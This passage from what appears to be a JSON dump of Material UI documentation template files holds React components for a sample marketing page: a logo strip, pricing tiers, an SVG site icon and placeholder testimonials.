    "content": "import Box from '@mui/material/Box';\nimport Typography from '@mui/material/Typography';\nimport Grid from '@mui/material/Grid';\nimport { useColorScheme } from '@mui/material/styles';\n\nconst darkModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628e8573c43893fe0ace_Sydney-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d520d0517ae8e8ddf13_Bern-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f46794c159024c1af6d44_Montreal-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e891fa22f89efd7477a_TerraLight.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a09d1f6337b1dfed14ab_colorado-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5caa77bf7d69fb78792e_Ankara-white.svg',\n];\n\nconst lightModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628889c3bdf1129952dc_Sydney-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d4d8b829a89976a419c_Bern-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f467502f091ccb929529d_Montreal-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e911fa22f2203d7514c_TerraDark.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a0990f3717787fd49245_colorado-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5ca4e548b0deb1041c33_Ankara-black.svg',\n];\n\nconst logoStyle = {\n  width: '100px',\n  height: '80px',\n  margin: '0 32px',\n  opacity: 0.7,\n};\n\nexport default function LogoCollection() {\n  const { mode, systemMode } = useColorScheme();\n  let logos;\n  if (mode === 'system') {\n    if (systemMode === 'light') {\n      logos = lightModeLogos;\n    } else {\n      logos = darkModeLogos;\n    }\n  } else if (mode === 'light') {\n    logos = lightModeLogos;\n  } else {\n    logos = darkModeLogos;\n  }\n\n  return (\n    <Box id=\"logoCollection\" sx={{ py: 4 }}>\n      <Typography\n        component=\"p\"\n        variant=\"subtitle2\"\n        align=\"center\"\n        sx={{ color: 'text.secondary' }}\n      >\n        Trusted by the best companies\n      </Typography>\n      <Grid container sx={{ justifyContent: 'center', mt: 0.5, opacity: 0.6 }}>\n        {logos.map((logo, index) => (\n          <Grid key={index}>\n            <img\n              src={logo}\n              alt={`Fake company number ${index + 1}`}\n              style={logoStyle}\n            />\n          </Grid>\n        ))}\n      </Grid>\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Pricing.js",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport Chip from '@mui/material/Chip';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport AutoAwesomeIcon from '@mui/icons-material/AutoAwesome';\nimport CheckCircleRoundedIcon from '@mui/icons-material/CheckCircleRounded';\n\nconst tiers = [\n  {\n    title: 'Free',\n    price: '0',\n    description: [\n      '10 users included',\n      '2 GB of storage',\n      'Help center access',\n      'Email support',\n    ],\n    buttonText: 'Sign up for free',\n    buttonVariant: 'outlined',\n    buttonColor: 'primary',\n  },\n  {\n    title: 'Professional',\n    subheader: 'Recommended',\n    price: '15',\n    description: [\n      '20 users included',\n      '10 GB of storage',\n      'Help center access',\n      'Priority email support',\n      'Dedicated team',\n      'Best deals',\n    ],\n    buttonText: 'Start now',\n    buttonVariant: 'contained',\n    buttonColor: 'secondary',\n  },\n  {\n    title: 'Enterprise',\n    price: '30',\n    description: [\n      '50 users included',\n      '30 GB of storage',\n      'Help center access',\n      'Phone & email support',\n    ],\n    buttonText: 'Contact us',\n    buttonVariant: 'outlined',\n    buttonColor: 'primary',\n  },\n];\n\nexport default function Pricing() {\n  return (\n    <Container\n      id=\"pricing\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        position: 'relative',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 3, sm: 6 },\n      }}\n    >\n      <Box\n        sx={{\n          width: { sm: '100%', md: '60%' },\n          textAlign: { sm: 'left', md: 'center' },\n        }}\n      >\n        <Typography\n          component=\"h2\"\n          variant=\"h4\"\n          gutterBottom\n          sx={{ color: 'text.primary' }}\n        >\n          Pricing\n        </Typography>\n        <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n          Quickly build an effective pricing table for your potential customers with\n          this layout. <br />\n          It&apos;s built with default Material UI components with little\n          customization.\n        </Typography>\n      </Box>\n      <Grid\n        container\n        spacing={3}\n        sx={{ alignItems: 'center', justifyContent: 'center', width: '100%' }}\n      >\n        {tiers.map((tier) => (\n          <Grid\n            size={{ xs: 12, sm: tier.title === 'Enterprise' ? 12 : 6, md: 4 }}\n            key={tier.title}\n          >\n            <Card\n              sx={[\n                {\n                  p: 2,\n                  display: 'flex',\n                  flexDirection: 'column',\n                  gap: 4,\n                },\n                tier.title === 'Professional' &&\n                  ((theme) => ({\n                    border: 'none',\n                    background:\n                      'radial-gradient(circle at 50% 0%, hsl(220, 20%, 35%), hsl(220, 30%, 6%))',\n                    boxShadow: `0 8px 12px hsla(220, 20%, 42%, 0.2)`,\n                    ...theme.applyStyles('dark', {\n                      background:\n                        'radial-gradient(circle at 50% 0%, hsl(220, 20%, 20%), hsl(220, 30%, 16%))',\n                      boxShadow: `0 8px 12px hsla(0, 0%, 0%, 0.8)`,\n                    }),\n                  })),\n              ]}\n            >\n              <CardContent>\n                <Box\n                  sx={[\n                    {\n                      mb: 1,\n                      display: 'flex',\n                      justifyContent: 'space-between',\n                      alignItems: 'center',\n                      gap: 2,\n                    },\n                    tier.title === 'Professional'\n                      ? { color: 'grey.100' }\n                      : { color: '' },\n                  ]}\n                >\n                  <Typography component=\"h3\" variant=\"h6\">\n                    {tier.title}\n                  </Typography>\n                  {tier.title === 'Professional' && (\n                    <Chip icon={<AutoAwesomeIcon />} label={tier.subheader} />\n                  )}\n                </Box>\n                <Box\n                  sx={[\n                    {\n                      display: 'flex',\n                      alignItems: 'baseline',\n                    },\n                    tier.title === 'Professional'\n                      ? { color: 'grey.50' }\n                      : { color: null },\n                  ]}\n                >\n                  <Typography component=\"h3\" variant=\"h2\">\n                    ${tier.price}\n                  </Typography>\n                  <Typography component=\"h3\" variant=\"h6\">\n                    &nbsp; per month\n                  </Typography>\n                </Box>\n                <Divider sx={{ my: 2, opacity: 0.8, borderColor: 'divider' }} />\n                {tier.description.map((line) => (\n                  <Box\n                    key={line}\n                    sx={{ py: 1, display: 'flex', gap: 1.5, alignItems: 'center' }}\n                  >\n                    <CheckCircleRoundedIcon\n                      sx={[\n                        {\n                          width: 20,\n                        },\n                        tier.title === 'Professional'\n                          ? { color: 'primary.light' }\n                          : { color: 'primary.main' },\n                      ]}\n                    />\n                    <Typography\n                      variant=\"subtitle2\"\n                      component={'span'}\n                      sx={[\n                        tier.title === 'Professional'\n                          ? { color: 'grey.50' }\n                          : { color: null },\n                      ]}\n                    >\n                      {line}\n                    </Typography>\n                  </Box>\n                ))}\n              </CardContent>\n              <CardActions>\n                <Button\n                  fullWidth\n                  variant={tier.buttonVariant}\n                  color={tier.buttonColor}\n                >\n                  {tier.buttonText}\n                </Button>\n              </CardActions>\n            </Card>\n          </Grid>\n        ))}\n      </Grid>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Pricing.tsx",
    "content": "import Box from '@mui/material/Box';\nimport Button from '@mui/material/Button';\nimport Card from '@mui/material/Card';\nimport Chip from '@mui/material/Chip';\nimport CardActions from '@mui/material/CardActions';\nimport CardContent from '@mui/material/CardContent';\nimport Container from '@mui/material/Container';\nimport Divider from '@mui/material/Divider';\nimport Grid from '@mui/material/Grid';\nimport Typography from '@mui/material/Typography';\nimport AutoAwesomeIcon from '@mui/icons-material/AutoAwesome';\nimport CheckCircleRoundedIcon from '@mui/icons-material/CheckCircleRounded';\n\nconst tiers = [\n  {\n    title: 'Free',\n    price: '0',\n    description: [\n      '10 users included',\n      '2 GB of storage',\n      'Help center access',\n      'Email support',\n    ],\n    buttonText: 'Sign up for free',\n    buttonVariant: 'outlined',\n    buttonColor: 'primary',\n  },\n  {\n    title: 'Professional',\n    subheader: 'Recommended',\n    price: '15',\n    description: [\n      '20 users included',\n      '10 GB of storage',\n      'Help center access',\n      'Priority email support',\n      'Dedicated team',\n      'Best deals',\n    ],\n    buttonText: 'Start now',\n    buttonVariant: 'contained',\n    buttonColor: 'secondary',\n  },\n  {\n    title: 'Enterprise',\n    price: '30',\n    description: [\n      '50 users included',\n      '30 GB of storage',\n      'Help center access',\n      'Phone & email support',\n    ],\n    buttonText: 'Contact us',\n    buttonVariant: 'outlined',\n    buttonColor: 'primary',\n  },\n];\n\nexport default function Pricing() {\n  return (\n    <Container\n      id=\"pricing\"\n      sx={{\n        pt: { xs: 4, sm: 12 },\n        pb: { xs: 8, sm: 16 },\n        position: 'relative',\n        display: 'flex',\n        flexDirection: 'column',\n        alignItems: 'center',\n        gap: { xs: 3, sm: 6 },\n      }}\n    >\n      <Box\n        sx={{\n          width: { sm: '100%', md: '60%' },\n          textAlign: { sm: 'left', md: 'center' },\n        }}\n      >\n        <Typography\n          component=\"h2\"\n          variant=\"h4\"\n          gutterBottom\n          sx={{ color: 'text.primary' }}\n        >\n          Pricing\n        </Typography>\n        <Typography variant=\"body1\" sx={{ color: 'text.secondary' }}>\n          Quickly build an effective pricing table for your potential customers with\n          this layout. <br />\n          It&apos;s built with default Material UI components with little\n          customization.\n        </Typography>\n      </Box>\n      <Grid\n        container\n        spacing={3}\n        sx={{ alignItems: 'center', justifyContent: 'center', width: '100%' }}\n      >\n        {tiers.map((tier) => (\n          <Grid\n            size={{ xs: 12, sm: tier.title === 'Enterprise' ? 12 : 6, md: 4 }}\n            key={tier.title}\n          >\n            <Card\n              sx={[\n                {\n                  p: 2,\n                  display: 'flex',\n                  flexDirection: 'column',\n                  gap: 4,\n                },\n                tier.title === 'Professional' &&\n                  ((theme) => ({\n                    border: 'none',\n                    background:\n                      'radial-gradient(circle at 50% 0%, hsl(220, 20%, 35%), hsl(220, 30%, 6%))',\n                    boxShadow: `0 8px 12px hsla(220, 20%, 42%, 0.2)`,\n                    ...theme.applyStyles('dark', {\n                      background:\n                        'radial-gradient(circle at 50% 0%, hsl(220, 20%, 20%), hsl(220, 30%, 16%))',\n                      boxShadow: `0 8px 12px hsla(0, 0%, 0%, 0.8)`,\n                    }),\n                  })),\n              ]}\n            >\n              <CardContent>\n                <Box\n                  sx={[\n                    {\n                      mb: 1,\n                      display: 'flex',\n                      justifyContent: 'space-between',\n                      alignItems: 'center',\n                      gap: 2,\n                    },\n                    tier.title === 'Professional'\n                      ? { color: 'grey.100' }\n                      : { color: '' },\n                  ]}\n                >\n                  <Typography component=\"h3\" variant=\"h6\">\n                    {tier.title}\n                  </Typography>\n                  {tier.title === 'Professional' && (\n                    <Chip icon={<AutoAwesomeIcon />} label={tier.subheader} />\n                  )}\n                </Box>\n                <Box\n                  sx={[\n                    {\n                      display: 'flex',\n                      alignItems: 'baseline',\n                    },\n                    tier.title === 'Professional'\n                      ? { color: 'grey.50' }\n                      : { color: null },\n                  ]}\n                >\n                  <Typography component=\"h3\" variant=\"h2\">\n                    ${tier.price}\n                  </Typography>\n                  <Typography component=\"h3\" variant=\"h6\">\n                    &nbsp; per month\n                  </Typography>\n                </Box>\n                <Divider sx={{ my: 2, opacity: 0.8, borderColor: 'divider' }} />\n                {tier.description.map((line) => (\n                  <Box\n                    key={line}\n                    sx={{ py: 1, display: 'flex', gap: 1.5, alignItems: 'center' }}\n                  >\n                    <CheckCircleRoundedIcon\n                      sx={[\n                        {\n                          width: 20,\n                        },\n                        tier.title === 'Professional'\n                          ? { color: 'primary.light' }\n                          : { color: 'primary.main' },\n                      ]}\n                    />\n                    <Typography\n                      variant=\"subtitle2\"\n                      component={'span'}\n                      sx={[\n                        tier.title === 'Professional'\n                          ? { color: 'grey.50' }\n                          : { color: null },\n                      ]}\n                    >\n                      {line}\n                    </Typography>\n                  </Box>\n                ))}\n              </CardContent>\n              <CardActions>\n                <Button\n                  fullWidth\n                  variant={tier.buttonVariant as 'outlined' | 'contained'}\n                  color={tier.buttonColor as 'primary' | 'secondary'}\n                >\n                  {tier.buttonText}\n                </Button>\n              </CardActions>\n            </Card>\n          </Grid>\n        ))}\n      </Grid>\n    </Container>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/SitemarkIcon.js",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/SitemarkIcon.tsx",
    "content": "import SvgIcon from '@mui/material/SvgIcon';\n\nexport default function SitemarkIcon() {\n  return (\n    <SvgIcon sx={{ height: 21, width: 100, mr: 2 }}>\n      <svg\n        width={86}\n        height={19}\n        viewBox=\"0 0 86 19\"\n        fill=\"none\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fill=\"#B4C0D3\"\n          d=\"m.787 12.567 6.055-2.675 3.485 2.006.704 6.583-4.295-.035.634-4.577-.74-.422-3.625 2.817-2.218-3.697Z\"\n        />\n        <path\n          fill=\"#00D3AB\"\n          d=\"m10.714 11.616 5.352 3.908 2.112-3.767-4.295-1.725v-.845l4.295-1.76-2.112-3.732-5.352 3.908v4.013Z\"\n        />\n        <path\n          fill=\"#4876EF\"\n          d=\"m10.327 7.286.704-6.583-4.295.07.634 4.577-.74.422-3.66-2.816L.786 6.617l6.055 2.676 3.485-2.007Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M32.507 8.804v6.167h2.312v-7.86h-3.366v1.693h1.054ZM32.435 6.006c.212.22.535.33.968.33.434 0 .751-.11.953-.33.213-.23.318-.516.318-.86 0-.354-.105-.641-.318-.86-.202-.23-.52-.345-.953-.345-.433 0-.756.115-.968.344-.202.22-.303.507-.303.86 0 .345.101.632.303.861ZM24.46 14.799c.655.296 1.46.444 2.413.444.896 0 1.667-.139 2.312-.416.645-.277 1.141-.664 1.488-1.162.357-.506.535-1.094.535-1.764 0-.65-.169-1.2-.506-1.649-.328-.459-.785-.818-1.373-1.076-.587-.267-1.266-.435-2.037-.502l-.809-.071c-.481-.039-.828-.168-1.04-.388a1.08 1.08 0 0 1-.318-.774c0-.23.058-.44.173-.631.116-.201.29-.359.52-.474.241-.114.535-.172.882-.172.366 0 .67.067.91.201.053.029.104.059.15.09l.012.009.052.037c.146.111.263.243.35.395.125.21.188.444.188.703h2.311c0-.689-.159-1.286-.476-1.793-.318-.516-.776-.913-1.373-1.19-.588-.287-1.296-.43-2.124-.43-.79 0-1.474.133-2.052.4a3.131 3.131 0 0 0-1.358 1.12c-.318.487-.477 1.066-.477 1.735 0 .927.314 1.673.94 2.237.626.564 1.464.89 2.514.976l.794.071c.645.058 1.113.187 1.401.388a.899.899 0 0 1 .434.788 1.181 1.181 0 0 1-.231.717c-.154.201-.38.36-.68.474-.298.115-.669.172-1.112.172-.49 0-.89-.067-1.199-.2-.308-.144-.539-.33-.694-.56a1.375 1.375 0 0 1-.216-.746h-2.297c0 .679.168 1.281.505 1.807.337.517.834.928 1.489 1.234ZM39.977 15.07c-.8 0-1.445-.095-1.936-.286a2.03 2.03 0 0 1-1.084-.99c-.221-.469-.332-1.1-.332-1.893V8.789h-1.2V7.11h1.2V4.988h2.153V7.11h2.312V8.79h-2.312v3.198c0 .373.096.66.289.86.202.192.486.287.852.287h1.17v1.937h-1.112Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M43.873 14.899c.52.23 1.117.344 1.791.344.665 0 1.252-.115 1.763-.344.51-.23.934-.55 1.271-.96.337-.412.564-.88.679-1.407h-2.124c-.096.24-.279.44-.549.603-.27.162-.616.244-1.04.244-.262 0-.497-.031-.704-.093a1.572 1.572 0 0 1-.423-.194 1.662 1.662 0 0 1-.636-.803 3.159 3.159 0 0 1-.163-.645h5.784v-.775a4.28 4.28 0 0 0-.463-1.98 3.686 3.686 0 0 0-1.343-1.477c-.578-.382-1.291-.574-2.139-.574-.645 0-1.223.115-1.733.345-.501.22-.92.52-1.257.903a4.178 4.178 0 0 0-.78 1.305c-.174.478-.26.98-.26 1.506v.287c0 .507.086 1.004.26 1.492.183.478.443.913.78 1.305.347.382.775.688 1.286.918Zm-.094-4.674.02-.09a2.507 2.507 0 0 1 .117-.356c.145-.354.356-.622.636-.804.104-.067.217-.123.339-.165.204-.071.433-.107.686-.107.395 0 .723.09.983.272.27.173.472.426.607.76a2.487 2.487 0 0 1 .16.603h-3.57c.006-.038.013-.076.022-.113Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M50.476 14.97V7.112h1.835v1.98a4.54 4.54 0 0 1 .173-.603c.202-.536.506-.937.91-1.205.405-.277.9-.416 1.488-.416h.101c.598 0 1.094.139 1.489.416.404.268.707.67.91 1.205l.016.04.013.037.028-.077c.212-.536.52-.937.925-1.205.405-.277.901-.416 1.489-.416h.1c.598 0 1.098.139 1.503.416.414.268.727.67.94 1.205.211.535.317 1.205.317 2.008v4.475h-2.312v-4.604c0-.43-.115-.78-.346-1.047-.222-.268-.54-.402-.954-.402-.414 0-.742.139-.982.416-.241.268-.362.626-.362 1.076v4.56h-2.326v-4.603c0-.43-.115-.78-.346-1.047-.222-.268-.535-.402-.94-.402-.423 0-.756.139-.996.416-.241.268-.362.626-.362 1.076v4.56h-2.311Z\"\n        />\n        <path\n          fill=\"#4876EE\"\n          fillRule=\"evenodd\"\n          d=\"M68.888 13.456v1.515h1.834v-4.82c0-.726-.144-1.319-.433-1.778-.289-.468-.712-.817-1.271-1.047-.549-.23-1.228-.344-2.037-.344a27.76 27.76 0 0 0-.896.014c-.318.01-.626.024-.924.043l-.229.016a36.79 36.79 0 0 0-.552.042v1.936a81.998 81.998 0 0 1 1.733-.09 37.806 37.806 0 0 1 1.171-.025c.424 0 .732.1.925.301.193.201.289.502.289.904v.029h-1.43c-.704 0-1.325.09-1.864.272-.54.172-.959.445-1.257.818-.299.363-.448.832-.448 1.405 0 .526.12.98.361 1.363.24.373.573.66.997.86.433.201.934.302 1.502.302.55 0 1.012-.1 1.388-.302.385-.2.683-.487.895-.86a2.443 2.443 0 0 0 .228-.498l.018-.056Zm-.39-1.397v-.63h-1.445c-.405 0-.718.1-.939.3-.212.192-.318.455-.318.79 0 .157.026.3.08.429a.99.99 0 0 0 .238.345c.221.191.534.287.939.287a2.125 2.125 0 0 0 .394-.038c.106-.021.206-.052.3-.092.212-.095.385-.253.52-.473.135-.22.212-.526.23-.918Z\"\n          clipRule=\"evenodd\"\n        />\n        <path\n          fill=\"#4876EE\"\n          d=\"M72.106 14.97V7.11h1.835v2.595c.088-.74.31-1.338.665-1.791.481-.603 1.174-.904 2.08-.904h.303v1.98h-.578c-.635 0-1.127.172-1.473.516-.347.334-.52.822-.52 1.463v4.001h-2.312ZM79.92 11.298h.767l2.499 3.672h2.6l-3.169-4.51 2.606-3.35h-2.427l-2.875 3.737V4.5h-2.312v10.47h2.312v-3.672Z\"\n        />\n      </svg>\n    </SvgIcon>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/getting-started/templates/marketing-page/components/Testimonials.js",
    "content": "import Card from '@mui/material/Card';\nimport CardHeader from '@mui/material/CardHeader';\nimport CardContent from '@mui/material/CardContent';\nimport Avatar from '@mui/material/Avatar';\nimport Typography from '@mui/material/Typography';\nimport Box from '@mui/material/Box';\nimport Container from '@mui/material/Container';\nimport Grid from '@mui/material/Grid';\nimport { useColorScheme } from '@mui/material/styles';\n\nconst userTestimonials = [\n  {\n    avatar: <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/1.jpg\" />,\n    name: 'Remy Sharp',\n    occupation: 'Senior Engineer',\n    testimonial:\n      \"I absolutely love how versatile this product is! Whether I'm tackling work projects or indulging in my favorite hobbies, it seamlessly adapts to my changing needs. Its intuitive design has truly enhanced my daily routine, making tasks more efficient and enjoyable.\",\n  },\n  {\n    avatar: <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/2.jpg\" />,\n    name: 'Travis Howard',\n    occupation: 'Lead Product Designer',\n    testimonial:\n      \"One of the standout features of this product is the exceptional customer support. In my experience, the team behind this product has been quick to respond and incredibly helpful. It's reassuring to know that they stand firmly behind their product.\",\n  },\n  {\n    avatar: <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/3.jpg\" />,\n    name: 'Cindy Baker',\n    occupation: 'CTO',\n    testimonial:\n      'The level of simplicity and user-friendliness in this product has significantly simplified my life. I appreciate the creators for delivering a solution that not only meets but exceeds user expectations.',\n  },\n  {\n    avatar: <Avatar alt=\"Remy Sharp\" src=\"/static/images/avatar/4.jpg\" />,\n    name: 'Julia Stewart',\n    occupation: 'Senior Engineer',\n    testimonial:\n      \"I appreciate the attention to detail in the design of this product. The small touches make a big difference, and it's evident that the creators focused on delivering a premium experience.\",\n  },\n  {\n    avatar: <Avatar alt=\"Travis Howard\" src=\"/static/images/avatar/5.jpg\" />,\n    name: 'John Smith',\n    occupation: 'Product Designer',\n    testimonial:\n      \"I've tried other similar products, but this one stands out for its innovative features. It's clear that the makers put a lot of thought into creating a solution that truly addresses user needs.\",\n  },\n  {\n    avatar: <Avatar alt=\"Cindy Baker\" src=\"/static/images/avatar/6.jpg\" />,\n    name: 'Daniel Wolf',\n    occupation: 'CDO',\n    testimonial:\n      \"The quality of this product exceeded my expectations. It's durable, well-designed, and built to last. Definitely worth the investment!\",\n  },\n];\n\nconst darkModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628e8573c43893fe0ace_Sydney-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d520d0517ae8e8ddf13_Bern-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f46794c159024c1af6d44_Montreal-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/61f12e891fa22f89efd7477a_TerraLight.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560a09d1f6337b1dfed14ab_colorado-white.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f5caa77bf7d69fb78792e_Ankara-white.svg',\n];\n\nconst lightModeLogos = [\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/6560628889c3bdf1129952dc_Sydney-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f4d4d8b829a89976a419c_Bern-black.svg',\n  'https://assets-global.website-files.com/61ed56ae9da9fd7e0ef0a967/655f467502f091ccb929529d_Montreal-black.svg',\n  